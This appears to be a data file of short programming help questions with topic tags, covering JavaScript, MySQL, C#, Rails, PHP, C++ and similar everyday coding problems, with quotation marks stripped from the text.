angularjs animated scroll to top issue  many web site has feature for long page like when user scroll down bit then a arrow sign comes at right side and when user click on that arrow then pages scroll to top. i try to do the same with custom directive. my code is working but there is one issue that when programmatically page is scrolling upward then some time arrow sign is getting visible and invisible which looks bad. so my request please some one see my code in jsfiddle and suggest me what is wrong there which causes arrow sign getting visible and invisible.    here is my jsfiddle <a href= https://jsfiddle.net/tridip/hzgjcojg/2/  rel= nofollow >https://jsfiddle.net/tridip/hzgjcojg/2/</a>    i have mixed bit jquery because i did not know how to achieve purely it by java script and jquery is very easy for having smooth effect with <strong>animate function.</strong>    please see my code and give your suggestion why some time arrow sign is getting visible and invisible during page scroll upward.    <h2>see my code</h2>  <pre><code>var app = angular.module( plunker   []);  app.controller( mainctrl   function($scope) {   $scope.items = [];   for (var i=0; i&lt;100; i++) { $scope.items.push(i); } });  app.directive( scrollonclick   function() {   return {     restrict:  ea       template: &lt;a title= click here to go top  class= scrollup  href= #  &gt;scroll&lt;/a&gt;       link: function(scope  $elm) { $(window).scroll(function () {             if ($(this).scrolltop() &gt; 300) {                 $( .scrollup ).fadein();             } else {                 $( .scrollup ).fadeout();             }     });          $elm.on( click   function() {         //alert( hello );         $( html body ).animate({scrolltop: 0}   slow );       });     }   } }); </code></pre>   thanks,angularjs
#1089 error when creating table in phpmyadmin  while creating a table i m getting error #1089- incorrect prefix key.    my sql code :   <pre><code>create table `buildblockz`.`db_user_info` ( `bbzuid` int(11) unsigned   not null auto_increment comment  user  s id    `username` varchar(255) not null comment  user  s username    `password` varchar(255) not null comment  user  s password    `fname` varchar(255) not null comment  user  s first name    `mname` varchar(255) null comment  user  s middle name    `lname` varchar(255) not null comment  user  s last name    `line1` varchar(255) not null comment  user  s address line 1    `line2` varchar(255) null comment  user  s address line 2    `city` varchar(255) not null comment  user  s address city    `state` varchar(255) not null comment  user  s address state    `pincode` int(11) unsigned not null comment  user  s address pincode    `email` varchar(255) not null comment  user  s contact email    `mobile` int(11) unsigned null comment  user  s contact mobile    `phone` int(11) unsigned null comment  user  s contact phone    `sex` enum( m   f   ns ) not null comment  user  s sex    `dateofbirth` date not null comment  user  s date of birth    `designation` varchar(255) null comment  user  s designation    `dateofentry` timestamp on update current_timestamp not null default current_timestamp comment  user  s date of entry    primary key (`bbzuid`(9))   unique (`username`(30)) ) engine = innodb comment =  user  s database ; </code></pre>,mysql
how to align a flash movie to center with  overflow: hidden    i have a wide flash movie (to fit in more screen resolution).<br> i would like to align it to a center of a (for example) 85%-wide div (and the overflowing flash remains hidden).<br> how could i do that     <strong><em>edit2:</em></strong>    i d like to do this with css (and not with javascript):<br> (i ve replaced the flash with text to make the post shorter  the problem is the same)   <pre><code>&lt;html&gt; &lt;head&gt; &lt;style&gt; #div {     width: 20%;     overflow: hidden;     text-align: center;     background-color: lightblue; } #flash {     width: 400px;     background-color: blue;     position: relative;     top: 0px;     margin: 0 auto; } &lt;/style&gt; &lt;script src= jquery-1.3.2.min.js &gt;&lt;/script&gt; &lt;script&gt; function center() {     var flash = parseint($( #flash ).css( width ));     var div = parseint($( #div ).css( width ));     if (flash &gt; div) {         var right = ((flash - div) / 2) +  px ;         $( #flash ).css( right   right);     } } $(window).resize(function(){     center(); }); $(function(){     center(); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= div &gt; &lt;div id= flash &gt;texttexttexttexttext-[center]-texttexttexttexttext&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
javascript: view object in console  i have an object with deeply nested properties.    here is the result of <code>console.log(myobject)</code> in chrome. <img src= https://i.stack.imgur.com/g14vf.png  alt= enter image description here >    but the result of <code>console.log(myobject.schedules)</code> is <code>{}</code>.    when i json.stringify the original object the result is <code>{ schedules :{}}</code>  which i find really confusing.  as you see above  its logging a lot more than just that.     any idea what the problem is,javascript
c# async file(...) operation  asynch itself how to  its few months i am into the c#... and i am listening asynchronous ... operation stuff... though concept sounds easy i am finding it difficult to understand it.    what i would like to try is to send huge http request/file and write it on server end using asynch operation once its compete read the file from this location and take it to other place.    can some one please guide me to some nice asynchronous tutorials where it would be easy for me to visualize and understand how to and what it does,c#
rails pass id in selection instead of string  i have a select form:           <pre><code>&lt;%= f.select :business_name   options_for_select(client.uniq.pluck(:business_name)) {:include_blank =&gt; false} {:multiple=&gt;true} %&gt; </code></pre>   it picks out the <strong>distinct</strong> <code>business_name</code> and renders them in a selection box. i need the form to send the relevant <code>business_id</code> when a <code>business_name</code> is selected instead of sending the name string.    how do i achieve this,ruby-on-rails
renaming prefixes of table field s names within phpmyadmin   is there a more dynamic way to rename all prefixes of fields in a table of a database within phpmyadmin  rather than manually typing to replace the name for each  fields  i have aboutnumber of table fields to change prefixes on..,mysql
how to replace the values of list with the keys of a dictionary   i have a list that will look something like:   <pre><code>[0]  studentname1  math  history  english  lunch  [1]  studentname2  history  math  english  lunch  [2]  studentname3  math  lunch  english  history  [3]  studentname4  english  history  math  lunch  [4]    english  history  math  lunch  </code></pre>   i want to substitute the first split of each element in the list   <pre><code> ( studentname1  studentname2  studentname3  studentname4) </code></pre>   with the key values i have in a dictionary:   <pre><code> mike   value  jamie   value  chris   value  mary   value </code></pre>   so that the first line of the new list would look like    <pre><code>[0]  mike  math  history  english  lunch  </code></pre>   i tried to create a new list off my existing one but i can t seem to add my dictionary keys in the same step.    i have tried:   <pre><code>list&lt;string&gt; modifiedstudentlist = new list(existinglist.select(s =&gt; s.replace(s.split(   )[0]  studentmap.keys.tolist().foreach(x =&gt; x)); </code></pre>   but it s not actually a statement  which i understand. i am just trying to see what s the most efficient  accurate way to do this.    edit: i have found that sometimes my name can be an empty string so the replace won t work.,c#
issue with  error: failed to build gem native extension   i am attempting to run bundle install on a github file for a tutorial about rails testing. when i attempt to run    <pre><code>bundle install </code></pre>   it installs most of my gems and then gives me this very long error. i ve attempted to update both xcode and homebrew and it hasn t helped. any advice would be very appreciated!    here is the error:   <pre><code>gem::ext::builderror: error: failed to build gem native extension.  current directory: /users/johnseabolt/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/json-1.7.6/ext/json/ext/generator /users/johnseabolt/.rbenv/versions/2.3.1/bin/ruby -r ./siteconf20170209-69149-18f1540.rb extconf.rb  creating makefile  current directory: /users/johnseabolt/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/json-1.7.6/ext/json/ext/generator make  destdir=  clean  current directory: /users/johnseabolt/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/json-1.7.6/ext/json/ext/generator make  destdir=  compiling generator.c in file included from generator.c:1: ./../fbuffer/fbuffer.h:179:47: error: too few arguments provided to function-like macro invocation value result = rb_str_new(fbuffer_pair(fb));                                           ^ /users/johnseabolt/.rbenv/versions/2.3.1/include/ruby-2.3.0/ruby/intern.h:797:9: note: macro  rb_str_new  defined here #define rb_str_new(str  len) __extension__ (    \     ^ in file included from generator.c:1: ./../fbuffer/fbuffer.h:179:11: warning: incompatible pointer to integer conversion initializing  value  (aka  unsigned long ) with an expression of type  value (const char *  long)  (aka  unsigned long (const char *  long) ) [-wint-conversion] value result = rb_str_new(fbuffer_pair(fb));       ^        ~~~~~~~~~~ 1 warning and 1 error generated. make: *** [generator.o] error 1  make failed  exit code 2  gem files will remain installed in    /users/johnseabolt/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/json-1.7.6 for inspection. results logged to /users/johnseabolt/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/extensions/x86_64-darwin-15/2.3.0-static/json-1.7.6/gem_make.out  an error occurred while installing json (1.7.6)  and bundler cannot continue. make sure that `gem install json -v  1.7.6 ` succeeds before bundling. johns-macbook-pro:expense_tracker johnseabolt$  </code></pre>   here is the gem file for the app i cloned from github:    <pre><code>source  https://rubygems.org   gem  rails    3.2.11    # bundle edge rails instead:  # gem  rails   :git =&gt;  git://github.com/rails/rails.git   gem  pg   group :development  :test do    gem  rspec-rails    ~&gt; 2.0  end  group :test do   gem  factory_girl_rails    gem  capybara  end   # gems used only for assets and not required # in production environments by default. group :assets do   gem  sass-rails      ~&gt; 3.2.3    gem  coffee-rails    ~&gt; 3.2.1     # see https://github.com/sstephenson/execjs#readme for more supported runtimes   # gem  therubyracer   :platforms =&gt; :ruby    gem  uglifier    &gt;= 1.0.3  end  gem  jquery-rails   # to use activemodel has_secure_password # gem  bcrypt-ruby    ~&gt; 3.0.0   # to use jbuilder templates for json # gem  jbuilder   # use unicorn as the app server # gem  unicorn   # deploy with capistrano # gem  capistrano   # to use debugger # gem  debugger  </code></pre>,ruby-on-rails
how can i get values of a table created while execute procedure   procedure in sql server   <pre><code>alter procedure [dbo].[staffscorecard]      @staff_id int = null      @countexel int output -- explicitly declare output variables to fetch these values     @scoreexel int output      @countgood int output -- explicitly declare output variables to fetch these values     @scoregood int output      @countaverage int output      @scoreaverage int output      @countbelowaverage int output      @scorebelowaverage int output      @countpoor int output      @scorepoor int output as  begin      select          @countexel = count(staff_id)      from          tbstudentsurvey      where          feedback =  excellent           and staff_id = isnull(@staff_id  staff_id)     select          @countgood = count(staff_id)      from          tbstudentsurvey      where          feedback =  good           and staff_id = isnull(@staff_id  staff_id)      select          @scoreexel = score       from          tbstaffscoremaster      where          status =  excellent       select          @scoregood = score       from          tbstaffscoremaster      where          status =  good       select          @countaverage = count(staff_id)      from          tbstudentsurvey      where          feedback =  average           and staff_id = isnull(@staff_id  staff_id)           select        @scoreaverage = score       from          tbstaffscoremaster      where          status =  average        select          @countbelowaverage = count(staff_id)      from          tbstudentsurvey      where          feedback =  belowaverage           and staff_id = isnull(@staff_id  staff_id)     select        @scorebelowaverage = score       from          tbstaffscoremaster      where          status =  belowaverage       select          @countpoor = count(staff_id)      from          tbstudentsurvey      where          feedback =  poor           and staff_id = isnull(@staff_id  staff_id)          select         @scorepoor= score       from          tbstaffscoremaster      where          status =  poor     end   go </code></pre>   code for getting values in form   <pre><code>if (page.isvalid) {     using (sqlconnection conn = new sqlconnection(configurationmanager.connectionstrings[ met ].connectionstring))     {         sqlcommand cmd = new sqlcommand( staffscorecard   conn);       sqlcommand cmd1 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd2 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd3 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd4 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd5 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd6 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd7 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd8 = new sqlcommand( staffscorecard   conn);       sqlcommand cmd9 = new sqlcommand( staffscorecard   conn);          cmd.commandtype = commandtype.storedprocedure;         cmd1.commandtype = commandtype.storedprocedure;         cmd2.commandtype = commandtype.storedprocedure;         cmd3.commandtype = commandtype.storedprocedure;         cmd4.commandtype = commandtype.storedprocedure;         cmd5.commandtype = commandtype.storedprocedure;         cmd6.commandtype = commandtype.storedprocedure;         cmd7.commandtype = commandtype.storedprocedure;         cmd8.commandtype = commandtype.storedprocedure;         cmd9.commandtype = commandtype.storedprocedure;       cmd.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd1.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd2.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd3.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd4.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd5.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd6.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd7.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd8.parameters.addwithvalue( staff_id   ddlstaffname.text);       cmd9.parameters.addwithvalue( staff_id   ddlstaffname.text);         sqlparameter count1 = cmd.parameters.add( @countexel   sqldbtype.int);         count1.direction = parameterdirection.output;         sqlparameter count2 = cmd1.parameters.add( @countgood   sqldbtype.int);         count2.direction = parameterdirection.output;         sqlparameter count3 = cmd2.parameters.add(  @scoreexel   sqldbtype.int);         count3.direction = parameterdirection.output;         sqlparameter count4 = cmd3.parameters.add( @scoregood   sqldbtype.int);         count4.direction = parameterdirection.output;         sqlparameter count5 = cmd4.parameters.add( @countaverage   sqldbtype.int);         count5.direction = parameterdirection.output;         sqlparameter excvalue = cmd5.parameters.add( @scoreaverage   sqldbtype.int);         excvalue.direction = parameterdirection.output;         sqlparameter goodvalue = cmd6.parameters.add( @countbelowaverage   sqldbtype.int);         goodvalue.direction = parameterdirection.output;         sqlparameter avgvalue = cmd7.parameters.add( @scorebelowaverage   sqldbtype.int);         avgvalue.direction = parameterdirection.output;         sqlparameter belowavgvalue = cmd8.parameters.add( @countpoor   sqldbtype.int);         belowavgvalue.direction = parameterdirection.output;         sqlparameter poorvlue = cmd9.parameters.add( @scorepoor   sqldbtype.int);         poorvlue.direction = parameterdirection.output;         //cmd.commandtype = commandtype.storedprocedure;         //cmd.parameters.add( @countexecel  sqldbtype.int).value=             //  conn.open();           cmd.executenonquery();          cmd1.executenonquery();          cmd2.executenonquery();          cmd3.executenonquery();          cmd4.executenonquery();          cmd5.executenonquery();          cmd6.executenonquery();          cmd7.executenonquery();          cmd8.executenonquery();          cmd9.executenonquery();             int countexcel = (int)count1.value;          int good = (int)count2.value;          int avg = (int)count3.value;          int belowavg = (int)count4.value;          int poor = (int)count5.value;          int excelvalue = (int)excvalue.value;          int gudvalue = (int)goodvalue.value;          int avgevalue = (int)avgvalue.value;          int bloavgvalue = (int)belowavgvalue.value;          int poorvalue = (int)poorvlue.value; </code></pre>,asp.net
typeerror: data() missing 4 required positional arguments:  n    p    gn   and  s   i have this assignment for school work  this is pretty basic stuff i gather but i m new to this language so i m still a little nooby. i get the aforementioned error upon testing each module with the error being specific to this line and this line alone.   <pre><code>def data(n  p  gn  s):      name[x] = input( please enter the customer s name. )     n.append(name[x])      phone = int(input( please enter the customer s phone number. ))     if len.str(phone[x]) == 11:         p.append(attendance[x])     else :  phone[x] = int(input( please enter the customer s phone number. ))     if len.str(phone[x]) == 11:         p.append(attendance[x])      groupno[x] = int(input( please enter the number of diners in the group - length must be 11 characters. ))     if  1 &gt;= groupno[x] &lt;=20:         gn.append(groupno[x])     else:  groupno[x] = int(input( please enter the number of diners in the group - between 1 &amp; 20. ))     gn.append(groupno[x])      score[x] = int(input( please enter the rating of the meal. ))     if 1 &gt;= score[x] &lt;=3:         s.append(score[x])     else:  score[x] = int(input( please enter the rating of the meal - between 1 &amp; 10. ))     if 1 &gt;= score[x] &lt;=3:         s.append(score[x]) data() </code></pre>,python
ios uicollectionview background around cell  i have screen which look like:    <a href= https://i.stack.imgur.com/vmede.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vmede.png  alt= enter image description here ></a>    as you see there is uicollectionview with image background. background should be whiter than original image. but cells of collection view have to be transparent and display original part of image.  does somebody have idea how to it     update  sample of background image  <a href= https://i.stack.imgur.com/h9qp4.jpg  rel= nofollow noreferrer >https://i.stack.imgur.com/h9qp4.jpg</a>,ios
how to compare two object which have string values   i use this code and get true result:   <pre><code> object text1 =  test ;  object text2 =  test ;  console.writeline( text1 == text2 :   + (text1 == text2));  //return:true </code></pre>   but when i try to lower:<code>object text2 =  test .tolower();</code>i get <code>false</code> result    <pre><code>   object text1 =  test .tolower();    object text2 =  test .tolower();    console.writeline( text1 == text2 :   + (text1 == text2));    //return:false </code></pre>,c#
how to query by time in rails   what can i do to query records by the time in a date time field  and by  time   i mean the time without the date. for example  i want every record that s created at midnight of any day.,ruby-on-rails
is it possible to pass a variable only once per class but not make it static   this question is (loosely) related to something i asked yesterday <a href= https://stackoverflow.com/questions/31981694/referring-to-an-object-of-a-derived-class-from-the-base-class-of-another-unrela >here</a>.    i have just refactored a container class (<code>ecosystem</code>)  which contains pointers to <code>individual</code>s:   <pre><code>class ecosystem {     // this is an interface class providing access     // to functions in individual without exposing     // the individual class.     // it performs global operations on the entire ecosystem     // (like sorting individuals based on certain criteria)     // but is also capable of invoking functions from the     // individual class.     // it also holds the global configuration for this ecosystem.     private:         config config;         std::map&lt;int  std::shared_ptr&lt;individual&gt; &gt; individuals;     public:         ecosystem() {};         void sort_individuals();         void func1(int _individual_id)         {             individuals[_individual_id]-&gt;func1(config);         }          void func2(int _individual_id)         {             individuals[_individual_id]-&gt;func2(config);         }         // etc... };  class individual {     private:      public:         individual() {};         void func1(const config&amp; _config)         {             // operations using _config.param_1  _config.param_2  ...          }          void func2(const config&amp; _config)         {             // operations using _config.param_n  _config.param_m  ...          }         // etc... } </code></pre>   i am now in the situation where i have to pass <code>config</code> with practically every function call to <code>individual</code> objects. initially i thought  well  i ll just make a <code>static config config;</code> inside <code>individual</code>  but soon i realised that i need to be able to create multiple coexisting ecosystems with different configurations.     if i understand the implications of <code>static</code> correctly  if i have <code>static config config;</code> inside <code>individual</code> which is assigned the value of <code>config</code> from <code>ecosystem</code>  it will get overwritten each time i create a new ecosystem.    my question is: is there a way to pass <code>config</code> <strong>once</strong> to the individual class <strong>without making it static</strong> in order to avoid passing it as an argument with each function     i have considered having <code>config* config</code> in both <code>ecosystem</code> and <code>individual</code>  but this means that every individual will have a pointer to the config object  which seems clunky. what i need is the equivalent of a static member whose scope is aware of the container hierarchy  if that makes any sense.    once created  a config object will not be altered  so it s possible to have a <code>const config config;</code>.    thank you in advance for any suggestions!   <hr>   <strong>edit 1</strong>    thank you everyone for your responses. matthew kraus had a point that i didn t provide the right constructor of my ecosystem class in the original question  which is  of course  an oversight on my side. i see now that it might have been relevant  but i was focusing more on illustrating what kind of variable access i m after rather than what my classes look like  so i presented a simple example. apologies if i brought in confusion to the discussion with my extra comments!    the solutions proposed here are all very good  but i can see from the answers that c++ doesn t have any means of defining such class-level variables without defining them as <code>static</code>. what i need is a class-level variable whose scope is limited to its container. this is just an illustration of my idea  it will not compile (and i am certain by now that this cannot be done in c++):   <pre><code>class ecosystem {     // this is an interface class providing access     // to functions in individual without exposing     // the individual class.     // it performs global operations on the entire ecosystem     // (like sorting individuals based on certain criteria)     // but is also capable of invoking functions from the     // individual class.     // it also holds the global configuration for this ecosystem.      private:          config config;         std::map&lt;int  std::shared_ptr&lt;individual&gt; &gt; individuals;      public:         ecosystem(const std::string&amp; _file_name)         {             config cfg(_file_name);              config = cfg;              // this is done before any individual objects are created.             individual::set_config(cfg);              for (int i = 1; i &lt;= 10; ++i)             {                 individuals[i] = std::make_shared&lt;individual&gt;();             }         };          void sort_individuals();          void func1(int _individual_id)         {             individuals[_individual_id]-&gt;func1();         }          void func2(int _individual_id)         {             individuals[_individual_id]-&gt;func2();         }         // etc... };  class individual {     private:         // v--- no such thing!         scoped static config config;      public:         individual() {};          void func1()         {             // operations using config.param_1  config.param_2  ...          }          void func2()         {             // operations using config.param_n  config.param_m  ...         }          // v--- no such thing!         scoped static void set_config(const config&amp; _config)         {             config = _config;         }         // etc... }  int main(int argc  char* argv[]) {     ecosystem ecosystem1( config_file1.txt );      ecosystem ecosystem2( config_file2.txt );      // conduct experiments with the two ecosytems.     // note that when ecosystem2 is created  the line     //     // individual::set_config(cfg);     //     // should *not* overwrite the class-level variable     // config set when ecosystem1 was created.      // instead  it should create a     // class-level variable but limited to the scope of ecosystem 2.      // this operates on individual 1 in ecosystem 1     // with the parameters set in config_file1.txt     ecosystem1-&gt;func1(1);      // this operates on individual 1 in ecosystem 2     // with the parameters set in config_file2.txt     ecosystem2-&gt;func1(1);      return 0; } </code></pre>   i will go with the suggestion to pass a pointer to the config to each individual at construction time. this will waste space but should be the most easily maintainable solution.    again  thank you all for your input  and apologies if the question was confusing.,c++
asp.net v1.1 could not load type tbrweb.frmlogin  i have a web app that i wanted copy to a new project.    i created the new app with vs2003 and copied across the web forms  config  global asa  etc. and made sure iis says it is a web app.    however  i still get this error when i run the app using ie from vs ide:   <pre><code>asp.net v1.1 could not load type tbrweb.frmlogin </code></pre>   i also made sure the assembly name and root namespace are the same as original.    any ideas,asp.net
true/false value giving output 1 or blank using php  i am facing one issue. i am setting boolean <code>true/false</code> value but when i am echo that value its showing me <code>1/blank</code> using php. i am explaining my code below.   <pre><code>  $qry= select c.member_id c.rest_name c.quadrant c.proviance c.postal c.address c.country c.city c.person c.mobile c.url c.share_url c.premium c.image c.multiple_image c.business_phone_no c.latitude c.longitude q.quadrant as quadrant_name ct.city_name from db_restaurant_basic as c left join db_quadrant as q on c.quadrant=q.quad_id left join db_city as ct on c.city=ct.city_id  where c.member_id=  .$member_id.   and c.status=1 order by rand() ;     $fetchqry=mysqli_query($connect $qry);     if(mysqli_num_rows($fetchqry) &gt; 0){       while($row1=mysqli_fetch_array($fetchqry)){           if($row1[ multiple_image ]==  ){               $available_image=false;           }else{              $available_image=true;          }       }     } echo  $available_image. &lt;br&gt; ; </code></pre>   here that echo output is given me <code>1/blank value</code> . here i need to get the <code>true/false</code> as output.,php
access a file through server path  <strong>setup:</strong>    the server path of the website is located at <code>/var/www/website/</code>. here i have <code>index.php</code> file that s using jplayer (audio player plugin) to play mp3s.    <strong>issue:</strong>    i need to access the mp3 files from <code>/gdrive/mp3s/</code> (server path). e.g. <code>/gdrive/mp3s/sample.mp3</code>    on the code (<code>index.php</code>)  i tried putting the mp3 path <code>/gdrive/mp3s/sample.mp3</code> on jplayer but it didn t work (it s treating the path as <code>http://website.com/gdrive/mp3s/sample.mp3</code>).    then i tried <code>../../../gdrive/mp3s/sample.mp3</code>. i thought it will do the trick but also  it didn t work.    <strong>question:</strong>    how can i access the mp3 files based from above     last resort would be to create virtualhost for <code>/gdrive/mp3s/</code> but i want to avoid that if possible.,php
how to set mysql query in ascending order if default value is zero  i have one category table where i have used one field display order. but problem is that by default there will be zero value in this field. so now suppose if i set display order 1 and 2 in two records  then for all other records there will be zero value in display order.     now if i display records as per display order then it shows zero value first. actually i want that first those records should be display where i have set display order (i.e greater than zero). all zero values should be consider as last records.    how to write query for this,mysql
record error after insert  conversion from type  dbnull  to type  integer  is not valid  i m trying to insert records into a table via a sql management studio and insert command verses the website s web form.    <pre><code>insert into [dbo].[records] ([tp_id]  [offense_id]  [llo_id]  [llla]  [ssn]  [lastname]  [firstname]  [mi]  [title]  [grade]  [organization]  [branchofservice]   [category]  [datecategory]   [isholdover]  [isholdoverdate]) values (60033  n e   17  null  n 222-12-0222   n singer   n te    n y   null  n sra   n 703 airbase   n force   null  null) </code></pre>   although when i go to the website and try to view the record i recieve the following error message:    system.invalidcastexception: conversion from type  dbnull  to type  integer  is not valid.   <pre><code>line 349:ckisholdover.checked = (cint(rdr( isholdover )) = -1) </code></pre>   ---vb in the code behind that caputures the field data if i create a record through the web form---   <pre><code> .parameters.addwithvalue( @isholdover   ckisholdover.checked) </code></pre>,sql
how to get id in 2012061000001 format  i have following table structure there is column vid in that i want entry todays date followed by 00001 like  2012061000001 and when next time table get updated vid should be  20120610000002  when if tommorow table will get update then vid should be 2012061100003   <pre><code>+----+------+-------------+---------+------------+-------------+ | id | vid  | visitorname | company | contact    | whometomeet | +----+------+-------------+---------+------------+-------------+ |  1 | null | rakesh      | godrej  | 9987654123 | abcdef      | |  2 | null | samir       | infosys | 9987654123 | abcdef      | +----+------+-------------+---------+------------+-------------+ </code></pre>   how can we achieve this     here is my table structure where i set id as auto_increment can we have two fields auto_increment   <pre><code>+-------------+--------------+------+-----+---------+----------------+ | field       | type         | null | key | default | extra          | +-------------+--------------+------+-----+---------+----------------+ | id          | int(11)      | no   | pri | null    | auto_increment | | vid         | varchar(15)  | yes  |     | null    |                | | visitorname | varchar(255) | yes  |     | null    |                | | company     | varchar(255) | yes  |     | null    |                | | contact     | varchar(30)  | yes  |     | null    |                | | whometomeet | varchar(255) | yes  |     | null    |                | +-------------+--------------+------+-----+---------+----------------+ </code></pre>   and firing folowing query i got result like below    insert into visitor(vid)values(concat(replace(left(current_timestamp 10)  -    ) lpad( 1   5   0 )));   <pre><code>+----+---------------+-------------+---------+------------+-------------+ | id | vid           | visitorname | company | contact    | whometomeet | +----+---------------+-------------+---------+------------+-------------+ |  1 | null          | rakesh      | godrej  | 9987654123 | abcdef      | |  2 | null          | samir       | infosys | 9987654123 | abcdef      | |  3 | 2012061000001 | null        | null    | null       | null        | +----+---------------+-------------+---------+------------+-------------+ </code></pre>   but problem is each time i will get that 1 there in vid if tommorow also i run this query i willl get tommorow date but that would be followed by that 00001 i want it 00002.,mysql
hiding side menu upon browser resizing  user clicks the link  table of contents  and it appears as a side menu. if the browser resizes below 1448px then the side menu does a fadeout().    so  after having clicked the  table of contents  link  resizing the browser below 1448px  then resizing above 1448px...    how can i get the side menu to automatically fadein() again    <pre><code>    var button = $( a#contents_link ); // the toc link     var toc = $( #table-of-contents ); // the toc div to show     var browser = $(window);           // getting the browser width       toc.hide();                         // hide the toc div upon loading the page      button.click(function (event) {    // toggling the toc div         toc.fadetoggle(300);         event.preventdefault();      });      $(browser).resize(function() {         if ( (toc.is( :visible )) &amp;&amp; (browser.width() &gt;=1449) ) {             toc.fadein();         } else if( (toc.is( :visible )) &amp;&amp; (browser.width() &lt;=1448) ){              toc.fadeout();         }     }); </code></pre>,jquery
is this a good database design   i am planning to make a railway reservation project... i am maintaining following tables:   <blockquote>    <strong>traintable</strong><br>   (trainid trainname trainfrom trainto traindate trainnoofboogies)...pk(trainid)        <strong>boogie</strong><br>   (trainid boogieid boogiename boogienoofseats)...compositekey(trainid boogieid)...        <strong>seats</strong><br>   (trainid boogieid seatid seatstatus seattype)...compositekey(trainid boogieid seatid)...        <strong>user</strong><br>   (userid name...personal details)        <strong>userbooking</strong><br>   (userid trainid boogieid seatid)...  </blockquote>   is this good design,mysql
html type= submit  doesn t work  i am following a tutorial  and now i have this simple code   <pre><code>&lt;form&gt;  &lt;input name=“q”&gt;  &lt;input type=“submit”&gt; &lt;/form&gt; </code></pre>     this should show a button  but it appears to be a text box. the most weird thing is  i copy paste the exactly same text  to my textedit(cover my original )  and it works fine as a button. however  when i try to delete a letter( such as the t in sumbit) and then retype it  it won t work again.,html
howto use the titanium for developing the iphone application   i want to use the titanium for developing the iphone applications.mainly how to develop the apps using titanium.what is the editor for write the code.and what are the adv antages of titanium compared to ios.please tell me,iphone
how do i debug my android apps on a wileyfox swift   i tried the usual tap-seven-times-on-the-build-number process to get a wileyfox swift recognized by my ubuntu machine for debugging. while i could get into developer options and enable debugging  i didn t get the mac address authorization dialog  and <code>adb devices</code> said <code>no permissions</code>.    what s the magic trick to get this working,android
event listener trouble  i am trying to use an event listener for when i click on an object.    my html file   <pre><code>&lt;div id= left &gt; &lt;/div&gt; &lt;div id= right &gt; &lt;/div&gt; </code></pre>   my javascript file   <pre><code>function changeimg(which) {   if(which ===  left )   {      alert( left );   }   else   {      alert( right );   } }  var leftclick = document.getelementbyid( left ); leftclick.addeventlistener( click   changeimg( left )  true);  var rightclick = document.getelementbyid( right ); rightclick.addeventlistener( click   changeimg( right )  false); </code></pre>   here is my jsfiddle  <a href= https://jsfiddle.net/pb4759jh68/zqzdhcnw/1/  rel= nofollow >https://jsfiddle.net/pb4759jh68/zqzdhcnw/1/</a>    my question is  why does my function run as soon as i run the page  rather than waiting until i click on either the left or right div     thanks!!!,javascript
csv data dump in mysql  hi i need to copy data from  a csv file into a mysql table.copy of data has to be remotely.my csv file is not present on the db server.any idea how to do it.    i can do locally file copy from csv but not from different machine.    thanks,mysql
type or namespace definition  or end-of-file expected error  i am having the same problem repeatedly  with no success. i keep getting this error:    <em>type or namespace definition  or end-of-file expected</em>    i have it twice on two curly braces at the end of my code:   <pre><code>using system; using system.collections.generic; using system.linq; using system.text;  namespace asrai {     class program     {         public int health = 100;         public int damage = 0;         public static int hit = 0;          static void main(string[] args)         {             if (hit == 1)             {                 int operator -(int health int damage);             }         }     } } </code></pre>   it is probably something simple that i overlooked  but i can t see anything wrong with this code,c#
isynchronizeinvoke in .net  explain the use of isynchronizeinvoke in cross thread invocation in .net,.net
how can i change what a class inherits from at compile-time   in my quest to create a cross-platform gui framework  i have hit the following snag: suppose i have a central  window  class  in the project s general  platform-independent include folder:   <pre><code>//include/window.hpp class window {     //public interface } </code></pre>   i then have several platform-dependent implementation classes  like so:   <pre><code>//src/{platform}/window.hpp class winwindow {...}; //windows class osxwindow {...}; //osx class x11window {...}; //unix </code></pre>   finally  there is the original window class  .cpp file  where i want to  bind  the implementation class to the general class. purely conceptually  this is what i want to be able to do:   <pre><code>//src/window.cpp //suppose we re on windows  #include  include/window.hpp  #include  src/win/window.hpp  class window : private winwindow; //redefine window s inheritance </code></pre>   i know this is by no means valid c++  and that s the point. i have thought of two possible ways to solve this problem  and i have problems with both.    <strong>pimpl-style implementation</strong>    make window hold a void pointer to an implementing class  and assign that to a different window class for each platform. however  i would have to up-cast the pointer every time i want to perform a platform dependent-operation  not to mention include the platform dependent file everywhere.    <strong>preprocessor directives</strong>   <pre><code>class window : #ifdef win32 private winwindow #else ifdef x11 private x11window //etc. </code></pre>   this  however  sounds more like a hack than an actual solution to the problem.    what to do  should i change my design completely  do any of my possible solutions hold a little bit of water,c++
